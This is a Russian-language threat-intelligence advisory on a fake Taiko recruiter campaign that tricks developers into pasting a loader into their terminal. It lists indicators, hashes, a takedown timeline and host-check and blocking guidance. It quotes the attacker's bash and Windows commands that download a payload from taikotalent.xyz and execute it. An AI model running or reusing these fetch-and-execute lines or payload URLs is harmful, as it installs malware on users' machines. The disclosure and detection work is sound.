Индикаторы компрометации, цепочка атаки и обнаружение для кампании поддельных рекрутеров Taiko на taikotalent.xyz, распространяющей самоудаляющийся Bash-троян через трюк «анти-бот» со вставкой в терминал. Полезная нагрузка всё ещё активна по состоянию на 2026-10-09.
СТАТУС: ОТКЛЮЧЁН. Вредоносный домен
taikotalent.xyzбыл приостановлен регистратором (clientHold) 2026-10-10 в 02:39 UTC — примерно через 12 часов после нашего подкреплённого доказательствами обращения в AWS abuse, когда полезная нагрузка всё ещё была активна. Проверено 2026-10-15 через RDAP и DNS. Подробности в хронологии ниже.
ОБНОВЛЕНИЕ 2026-10-15 — ФИШИНГОВЫЙ ДОМЕН ОТКЛЮЧЁН.
taikotalent.xyzиhr.taikotalent.xyzтеперь возвращают NXDOMAIN (проверено через DNS-over-HTTPS, 2026-10-15) — через 10 дней после скоординированных сообщений от 5 октября (дело AWS179121234700301, тикет NameCheapNC-DFA-2100, 13 уведомлённых каналов). URL полезной нагрузки (/verify_m,/verify_w) больше не разрешаются.ЧАСТИЧНО РЕШЕНО — уровень C2 всё ещё активен:
api.gaganata.ink(104.21.84.196 / 172.67.196.60) иapi.fallgganata.inkпо-прежнему разрешаются за Cloudflare и отвечают по HTTP (404 при проверке, 2026-10-15). Жалобы на злоупотребление для доменовgaganata.ink/fallgganata.inkостаются в ожидании у регистратора и Cloudflare (форма abuse требует браузера + Turnstile).Статус на 2026-10-09 00:46 UTC (исторический): полезная нагрузка всё ещё активна —
https://taikotalent.xyz/verify_m→ HTTP 200, 49 916 байт, побайтово идентична образцу от 5 октября, спустя 4+ дня после обращения в AWS abuse.
Целевая фишинговая кампания, выдающая себя за Taiko (компанию Ethereum rollup — настоящий домен taiko.xyz, никакой связи с taikotalent.xyz), рассылает фальшивые рекрутинговые письма об «инженерной вакансии» разработчикам open-source, чьи данные собраны из их публичных профилей GitHub. Фальшивый «портал подачи заявок» заканчивается страницей «Anti-bot check with Terminal», которая уговаривает жертву вставить команду загрузчика в собственный терминал — эксплойт не нужен, пользователь сам запускает вредоносное ПО.
| Дата (UTC) | Событие |
|---|---|
| 2026-10-05 | Кампания получена; образец помещён в карантин; отправлен полный криминалистический отчёт (дело AWS 179121234700301, Resend, Taiko) |
| 2026-10-09 | Раскрытие расширено: этот репозиторий, gist, dev.to, GitLab snippet, Telegraph; ещё 9 уведомлений, включая NameCheap abuse (→ тикет NC-DFA-2100), Softshellweb (хост полезной нагрузки), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 медиаиздания. Полезная нагрузка всё ещё побайтово идентична и активна |
| 2026-10-15 | taikotalent.xyz / hr.taikotalent.xyz → NXDOMAIN. Фишинговая инфраструктура отключена через 10 дней после первого сообщения. C2 (api.gaganata.ink, api.fallgganata.ink) по-прежнему разрешаются за Cloudflare |
/var/tmp/.kdm.*, отсоединённая через perl double-fork, цикл очистки с 60 повторами.| Тип | Значение | Контекст |
|---|---|---|
| Домен | taikotalent.xyz | Зарегистрирован 2026-09-27 (Namecheap), за 8 дней до кампании |
| Отправляющий поддомен | hr.taikotalent.xyz | DKIM d=; MX → входящий шлюз AWS SES |
| Отправитель | [email protected] | Поддельная личность «Joseph Quintana, Talent, Taiko» |
| IP отправки | 23.249.215.58 | d215-58.smtp-out.sa-east-1.amazonses.com (Amazon SES через Resend) |
| Портал | https://taikotalent.xyz/ | SPA «Private invitation», индивидуальные Ref-коды для каждого получателя (Ref-oxqgd77kb9zw14) |
| Эксфильтрация | POST /track-activity | Отпечаток устройства + имя/email/GitHub-логин на каждом шаге формы |
| Полезная нагрузка (macOS/Linux) | https://taikotalent.xyz/verify_m | 49 916 Б bash-загрузчик «deepfake_guard» — АКТИВЕН 2026-10-09 |
| Полезная нагрузка (Windows) | https://taikotalent.xyz/verify_w | Запускатор v.cmd, скрытое окно |
| C2 | https://api.gaganata.ink/guard-launcher-result | Сигнал статуса установки (Namecheap, за Cloudflare) |
| Резервный C2 | https://api.fallgganata.ink | Вторичная точка входа |
| IP хоста полезной нагрузки | 193.160.32.10 | Shock Hosting (US-SHOCK1-20191118) |
| Вторая стадия | /var/tmp/.kdm.XXXXXX | Встроенная стадия, декодированная из Base64; антифорензическое самоудаление |
| Артефакт | SHA-256 |
|---|---|
verify_m, помещён в карантин 2026-10-05 (49 916 Б) | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d |
verify_m, повторно получен АКТИВНЫМ 2026-10-09 | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (побайтово идентичен) |
| Исходное фишинговое письмо (raw) | 84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564 |
Исходное вложение .eml (11 098 Б) | 3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3 |
| PDF-отчёт криминалистической экспертизы (17 страниц, 201 044 Б) | d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c |
curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (do NOT execute the download)
YARA (см. yara/bash_stager_taikotalent.yar)
Проверка компрометации хоста (macOS/Linux):
ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null
Сеть: блокировать/отслеживать исходящий трафик к *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (включая поддомен hr.).
Администраторам почты: относиться к SPF/DKIM pass от недавно зарегистрированных доменов как к нейтральному признаку — аутентификация ≠ репутация.
[email protected] (DKIM s=resend d=hr.taikotalent.xyz, через Amazon SES sa-east-1, IP 23.249.215.58).POST /track-activity эксфильтрует отпечатки устройств на каждом шаге.perl -MPOSIX double-fork daemonization + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_mstart -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'deepfake_guard: перезапускается отсоединённым через nohup, отправляет beacon на api.gaganata.ink/guard-launcher-result (резервный api.fallgganata.ink), декодирует встроенную base64-вторую стадию в /var/tmp/.kdm.XXXXXX, выполняет её с эндпоинтами C2 в качестве переменных окружения, затем самоудаляется — лаунчер, файл статуса и артефакты в /var/tmp (анти-форензический цикл с 60 повторами).